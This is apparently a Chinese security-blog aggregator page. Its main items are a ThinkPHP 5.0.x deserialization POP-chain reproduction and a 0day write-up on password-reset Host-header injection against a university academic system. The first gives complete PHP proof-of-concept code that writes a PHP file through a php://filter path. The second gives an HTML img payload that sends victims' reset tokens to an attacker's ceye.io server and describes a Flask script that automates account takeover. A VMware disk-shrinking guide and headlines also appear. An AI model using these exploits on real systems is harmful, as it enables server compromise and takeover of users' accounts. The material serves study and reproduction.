Aggregator
Security Lessons from Across the Pond: Local Government Ransomware Attacks
Virtual Desktop Infrastructure (VDI) ? Risks and Solutions
Recommended Security Controls for 2020
ThinkPHP v5.0.x反序列化 Pop Chain复现(附POC)
本文会从一 个只会反序列化基础知识的小白的视角一步一步复现这个利用链,在阅读本文的时候需要具备一定反序列化的基础,同时配合ThinkPHP v5.0.x 反序列化利用链挖掘阅读。
在复现的过程中由于原文写的过于模糊,有一部分利用链不太一样但是开头结尾是一样的。
同时很不幸,该利用链不能在Windows上利用(待会我会说原因的),期待各位大佬找到一条通用的pop chain
0x01环境搭建 首先需要有个ThinkPHP V5.0.24的环境,这个过程就略过去了,接着再在application/index/controller/Index.php写下如下代码 <?php namespace app\index\controller;
class Index { public function index() { echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_POST['payload'])); } } 为什么我要选择使用base64_decode的办法传递Payload呢,那是因为在序列化字符串中往往有一些不可见字符,复制的话会漏掉,索性base64 0x02万事开头难--第一个类的反序列化及为什么要命名空间(namespace)以及extents 想要搞反序列化必然是需要一个起点的,原文使用了Windows类来开始 那首先我们需要一个Windows类 于是构建代码如下
<?php namespace think\process\pipes; class Windows {
} $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); 底下我分别输出了反序列化的结果和base64编码过后的反序列化结果以便检查
为什么需要在前面加个namespace呢?
因为ThinkPHP中的Windows类是有namespace的,长这样:
namespace think\process\pipes;
use think\Process;
class Windows extends Pipes { ...... 我们需要指名道姓地钦点它才可以,这样反序列化出来的字符串长这样:O:27:"think\process\pipes\Windows":0:{}
是包含了命名空间的,而如果不加的话字符串就成了O:7:"Windows":0:{} 它们是不一样的,在我们实际测试中发现只有前面那种才能引起反序列化 (ThinkPHP官方是不会写什么函数被调用的话的,因此这句话当然是我加在函数里面以便调试的)
其中Windows类继承了抽象类Pipes,但是实际测试发现不管父类对于生成的代码没有影响,因此我们可以直接忽略父类,缩短我们的POC 0x03抽象类的利用和利用链的连接 文中说到我们需要利用__toString做跳板,并找到了Model抽象类 可是这个抽象类,我们不能直接定义,那该怎么办呢?答案很简单,找子类 我们很轻松地找到了Pivot子类,它长这样 namespace think\model;
use think\Model;
class Pivot extends Model { 抄过去再改改就成了这样 <?php namespace think\model;
class Pivot {
} namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x));
关于处理子类,我在上一节已经说过,就抄它的namespace,extends去掉就可以了。 接着我们要把它塞到Windows类的file里面去,这里首先要注意,我们不能直接这么写代码 protected $file=[new Pivot()]; 而要定义一个构造函数,因为Pivot()是动态的,需要__construct函数来动态赋值
如果读者足够细心还会发现一行莫名其妙的代码 use think\model\Pivot; 根本不知道从哪儿来的 而如果我们不加的话就会出现这样的错误 ( ! ) Fatal error: Uncaught Error: Class 'think\process\pipes\Pivot' not found in D:\wamp64\www\thinkphp_5.0.24\public\index4.php on line 14 这一行功能是导入已有的命名空间,之所以要这么做是因为它是命名空间think\model(我们刚刚定义在前面的)下的Pivot类,以后遇到了类似情况照此处理,即命名空间+"\"+类名 就这样我们成功调用了toArray函数 0x04不知道标题取啥反正下一步 接下来的利用花了我很长时间。 作者说要执行$item[$key] = $value ? $value->getAttr($attr) : null;这部分代码,同时操控$value来使其调用__call(因为$value是我们选择的对象,这个对象没有getAttr函数就会调用__call函数)
作者说关键是这两行控制了$value,因此我们想要控制$value那我们必须要通过操控这两行来操控$value。 $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
那我们开始分析了,首先想要进到这个If分支需要通过 if (!empty($this->append)) { 的检验,所以我们首先得给$this->append设个值 那么就需要考虑这句话了 $modelRelation = $this->$relation(); 作者说要利用getError是咋回事呢?这个和getError有啥关系? 仔细看代码,是$this->$relation()不是$this->relation(),$relation是一个变量,因此我们要是能把$relation设定成getError这个字符串就可以了。 作者没有提到怎么操纵,于是我得自己想办法看调用路径 foreach ($this->append as $key => $name) { 接着是 $relation = Loader::parseName($name, 1, false); 这个append我们可以控制,这个parseName函数就是个转换命名格式的函数,不会对getError这个字符串有改变,于是只需要再Pivot类里面进行如下改动就可以 protected $append = ['getError']; 由于getError函数返回的就是this->error,这个值我们可以操控,所以我们就可以操控$modelRelation了。
0x05换条POP链 作者说了,要把$modelRelation换成一个HasOne对象,因为这里面有一个getRelationData可以调用。构造到这一步,当前代码如下 <?php namespace think\model\relation; class HasOne { }
namespace think\model;
use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); 可是到了这一步,我搞不懂作者是怎么弄得了,他写的实在是太模糊了,所以我换了条POP链,发现居然也能用 在HasOne类的getRelation函数中有如下代码 $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find(); 我发现这个query可以利用,这个foreignKey也可以操控,那不就可以了吗? 抱着试试看的想法,把$this->query设成Output,直接跳到Output类去。 结果成功了
0x06最后的坑 如果看懂了我前面写的东西(没看懂就算了。。。)那么剩下的代码就不难构造了 <?php //File类 namespace think\cache\driver; class File { protected $tag='sodayo'; protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>', 'data_compress' => false, ]; }
//Memcached类 namespace think\session\driver; use think\cache\driver\File; class Memcached { protected $handler; function __construct() { $this->handler=new File(); } }
//Output类 namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = ['removeWhereField']; function __construct() { $this->handle=new Memcached(); } } //HasOne类 namespace think\model\relation; use think\console\Output; class HasOne { //protected $foreignKey="sss"; //$this->query->removeWhereField($this->foreignKey) function __construct() { $this->query=new Output(); } }
//Pivot类 namespace think\model; use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } //Windows类 namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); (其实是我懒得写了) 可是发现file_get_contents后面就运行不了了? 调试了半天才发现,Windows系统里面创建不了含有某些特殊字符的文件,我一口老血喷到屏幕上 最后在Linux上面复现成功
0x06最后 这什么鬼玩意,搞了那么半天才复现一条鸡肋反序列化链,而且我从来没见过哪个程序员允许我控制整个路径或者反序列化过程,很怀疑这玩意的使用价值
关于Gorgon近期针对巴西用户的攻击分析报告
HTTP Cache Poisoning Advisory
2019 高校运维 ezcms 复现
之前高校运维碰到的题目, 当时就我一个人输出 web + 自己太菜了, 就没做出来 _(:3」∠)_, 寒假有时间看看, 复现一下题目.
日志分析系列(外传三):平台安全性
如何招聘网络安全工程师?
将 VMware 虚拟机精简分配的磁盘空间返还给宿主机
在给虚拟机分配磁盘时,为了不让分配的磁盘立马占用大量宿主机空间,可以使用精简分配(thin provisioning)。虚拟机的磁盘文件大小会随着磁盘中内容的增多而增加,但是却不会随着文件的删除而减少。这是因为操作系统在删除文件时并不会将文件完全删除(用 0 复写删除的内容),而是将该磁盘空间标记为已删除。为了让这部分空间返还给宿主机,仅仅删除是不够的。这篇文章将介绍如何把虚拟机精简分配的磁盘空闲的空间返还给宿主机。
在进行操作之前,请切记有快照的磁盘是不能够被 vmware-vdiskmanager 和 vmkfstools 工具调整的。*
概念要想返还未使用的空间,首先 VM 必须用 0 复写所有未使用的空间,然后宿主机将用 VMware 自带的工具(vmkfstools 或者 vmware-vdiskmanager)消减内容为 0 的磁盘空间。
Windows VM 复写未使用空间在 Windows VM 中,可以使用 SysInternals 工具中的 SDelete 来用 0 复写磁盘中未使用的空间。
1 sdelete.exe -z [盘符]例如,如果要复写 C 盘中的内容的话,则该执行:
1 sdelete.exe -z C: Linux 复写未使用空间在 Linux 中,可以使用从 /dev/zero 中不断读取 0 并且写入到一个文件中直到把文件系统占满为止的方式来复写未使用的空间。最后会将该文件删除来标记空间为已删除。注意以下命令均应该以 root 权限执行,尤其是复写 root 分区的操作。
第一种方式为使用 cat 命令:
1 2 3 4 5 # 复写 root 分区 cat /dev/zero > /zero.fill;sync;sleep 1;sync;rm -f /zero.fill # 复写挂载点的分区 cat /dev/zero > /[挂载点]/zero.fill;sync;sleep 1;sync;rm -f /[挂载点]/zero.fill第二种方式为使用 dd 命令:
1 2 3 4 5 # 复写 root 分区 dd if=/dev/zero of=/zeroes && rm -f /zeroes # 复写挂载点的分区 dd if=/dev/zero of=/[挂载点]/zeroes && rm -f /[挂载点]/zeroes 使用 VMware 工具重新调整磁盘大小在将未使用的空间归零以后,宿主机必须使用 VMware 自带的硬盘工具重新自动调整精简分配磁盘的大小来缩小磁盘体积。
如果宿主是 VMware Workstation Pro,则可以使用以下命令:
1 vmware-vdiskmanager -k [虚拟机磁盘].vmdk如果宿主是 ESXi,则可使用以下命令:
1 vmkfstools -K [虚拟机磁盘].vmdk 参考文章- https://community.hitachivantara.com/s/article/reclaim-disk-space-from-thin-provisioned-vmdk-files-in-esxi-server
- https://communities.vmware.com/thread/546700
新的 VMware Workstation 新增了一个 Compact Disk 功能,大概不需要用 vmkfstools 的命令行来精简磁盘了,可以直接在 GUI 里进行最后一步操作。
- https://k4yt3x.com/%E5%B0%86-vmware-%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%B2%BE%E7%AE%80%E5%88%86%E9%85%8D%E7%9A%84%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%E8%BF%94%E8%BF%98%E7%BB%99%E5%AE%BF%E4%B8%BB%E6%9C%BA/ - 2019-2024 K4YT3X. All rights reserved.谈养生
Streaming and Security: In Conversation With Smita Aeron
2020 后区块链世界及安全的一些思考
Black Friday, Cyber Monday and the Seasonal E-Commerce Onslaught
Windows dll注入 - luoyesiqiu
Research Reveals Americans’ Perceptions of Device Security Amidst CES 2020
From the Lifx Switch smart switch to the Charmin RollBot to Kohler Setra Alexa-connected faucets, CES 2020 has introduced new...
The post Research Reveals Americans’ Perceptions of Device Security Amidst CES 2020 appeared first on McAfee Blog.
【转载】PHP 实现 Base64 编码/解码
【0day】不一样的密码重置漏洞(以U█P教务系统为例)
由于██大学直接选择的是著名的U█P系统作为教务系统,因此这是个通用型的漏洞,理论上通杀各类U█P系统。
但对于该漏洞的利用需要受害者的交互还会在邮箱中留下记录,出了事一查一个准,因此妄想通过该漏洞拿到老师账号改成绩是不现实的。 0x01 背景:HOST头不可信 在编写WEB应用的时候,程序员往往不会直接把网站的host硬编码到代码中,而是通过动态手段获取(如$_SERVER['HTTP_HOST'])。 但是问题在于这个HOST并不是WEB应用自己带的,而是用户提供的!下面举个小例子来证明这一点。 看看以下代码 <?php var_dump($_SERVER['HTTP_HOST']); ?> 我们可以直接访问来测试它 获取如下结果
再用localhost.fbi.gov来访问(localhost.fbi.gov指向了127.0.0.1)
获取到的HOST就变成了localhost.fbi.gov
我们可以看到,这个HTTP_HOST是从用户提交的HOST头中获取的,因此是不可信的
所以,攻击者可以通过污染HOST头让服务器做出一些设计者意想不到的事情。
0x02 漏洞发现 首先我们注意到,██大学教务系统在使用IP或者域名访问来请求重置密码的时候,链接的HOST不一样 这是用IP访问的时候
这是用域名访问的时候
我们可以猜测,这个链接的开头是由HOST头动态拼接的,因此或许可以利用这一点来实现攻击,但是在我初次尝试的时候遇到了一点挫折
服务器拒绝了我提供的HOST头,直白的host deny不留一丝情面 但是只需要略施小计就会发现只要我们提供的HOST头里面包含了合法的HOST就能够通过它的认证
现在我们可以通过替换这个HOST头实施攻击了 首先在BurpSuite中做出如下替换
接着再申请找回密码,密码重置邮件就变成这样了
可以看到,攻击者可以构造特殊的链接,让受害者点击链接之后把重置token送到攻击者的服务器上 0x03 杀伤性提升 尽管看起来很有用,但我相信任何智力正常的用户都不会点击一个莫名其妙的链接,所以我们需要改进我们的payload来提高杀伤性。 众所周知,邮箱可以加载图片,如果我们想办法让邮箱自动加载图片,那岂不是可以在用户点开邮件的瞬间获取其重置token? 抱着这样的想法,首先查看了邮件中的html代码并整理如下 <br><a href='http://[inject]/forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://[inject]/forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 其中[inject]是我们的HOST头,是我们可控的部分
不难构造出html代码'></a><img src='http://[ceye子域名].ceye.io/[IP地址]:80/ 来让html变成这样
(由于[inject]在两个地方,笔者实在无法构造更完美的代码) <br><a href='http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 我们来抓包改HOST测试下
发现这成功让QQ邮箱将这部分视为图片并尝试加载
接下来我们可以看到ceye接收到结果
至此我们已经成功减少了交互的复杂性,提升了该漏洞的杀伤能力
0x04 武器化 对于这类漏洞,必须要有一个server来接受参数,因此编写利用代码是很重要的。 我用Flask构建了一个简单的脚本,它能够开一个服务接收sid和id并自动化重置密码
同时返回图片降低受害者警惕,代码已经放在这里,可以参考使用
0x05 如何修复漏洞 把host是否合法的判断由包含换成等于